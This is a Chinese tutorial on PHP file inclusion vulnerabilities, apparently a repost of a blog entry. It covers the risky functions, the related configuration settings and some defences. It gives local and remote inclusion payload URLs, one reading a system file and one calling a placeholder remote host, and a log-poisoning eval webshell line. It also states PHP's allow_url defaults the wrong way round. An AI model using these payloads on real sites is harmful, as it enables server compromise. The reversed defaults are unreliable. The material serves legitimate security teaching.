zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    文件包含漏洞原理:

     
    在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

    文件包含漏润的形成,需要满足两个条件:

    • 用户可控:用户能够控制文件的内容(向服务器上传一个新的文件、借用服务器已经存在的文件)
    • 后台执行:include()等函数通过动态变量的方式引入需要包含的文件

    常用文件包含函数:

    include():包含并运行指定文件,如果最后仍未找到文件则 include 结构会发出一条警告,只产生警告(E_WARNING),脚本会继续运行

    require():包含并运行指定文件,require 在出错时产生 E_COMPILE_ERROR 级别的错误,停止脚本继续运行

    include_once():include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。

    require_once():唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含

    higlight_file():语法高亮一个文件,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 TRUE

    show_source():对文件进行语法高亮显示,别名 highlight_file()

    readfile():输出文件,读取文件并写入到输出缓冲

    file_get_contents():将整个文件读入一个字符串

    fopen():打开文件或者 URL,将 filename 指定的名字资源绑定到一个流上

    file():把整个文件读入一个数组中

    文件包含漏洞原理介绍:

    两个关键的配置文件:allow_url_include、allow_url_open

    • allow_url_include 是否允许引用URL文件,激活URL形式的fopen封装协议使得可以访问URL对象文件等。

        默认开启

    • allow_url_fopen 是否允许打开URL文件,该选项为on便是允许包含URL对象文件等。

        默认关闭

    如果网站含有phpinfo文件,可通过phpinfo搜索查看网站是否开启allow_url_include、allow_url_open两个选项

    image

    PS:allow_url_include、allow_url_open两个选项同时开启的情况下:还可以远程包含远程服务器的马儿

    本地文件包含:

    payload:http://127.0.0.1/baohan.php?file=文件目录(c:/windows/system.ini)

    image

     

    远程文件包含:

    payload:http://127.0.0.1/baohan.php?file=http://xxx.xxx.xxx.xxx/include.php?file=文件目录(c:/windows/system.ini)

    image

     

    文件包含漏洞利用:

    包含日志文件:

            web服务器,基本上把请求写入到日志文件中,有的是access.log,有的是error.log,所以,我们可以尝试,写一些奇怪的数据,例如<?php eval($_POST['cmd])?>,然后让访问出错,这个就会被记录到日志文件中去,然后,我们利用本地包含,去包含这个日志文件,相当于我们得到了一个shell。

           可以在url里面写入shell数据,也可以在referer或者ua中写入,但是,这个写入尽量要使用抓包改包工具,例如Burp Suite来写入,因为浏览器,会给我们转码。造成包含不成功。

    文件包含漏洞防御:                                      

    1. 设置allow_url_includeallow_url_fopen为关闭;

    2. 使用白名单的方式对包含文件进行限制,或设置可以包含的目录;

    3. 对客户端和服务端做严格的过滤,参数中不允许出现../之类的目录跳转符;

  • 相关阅读:
    flex + bison multiple parsers
    Educational Codeforces Round 95 (Rated for Div. 2)
    python学习笔记 day20 序列化模块(二)
    python学习笔记 day20 常用模块(六)
    python 学习笔记 常用模块(五)
    python学习笔记 day19 常用模块(四)
    python学习笔记 day19 常用模块(三)
    python学习笔记 day19 常用模块(二)
    python学习笔记 day19 作业讲解-使用正则表达式实现计算器
    python学习笔记 day19 常用模块
  • 原文地址:https://www.cnblogs.com/LeeeBoom/p/12361453.html
Copyright © 2011-2022 走看看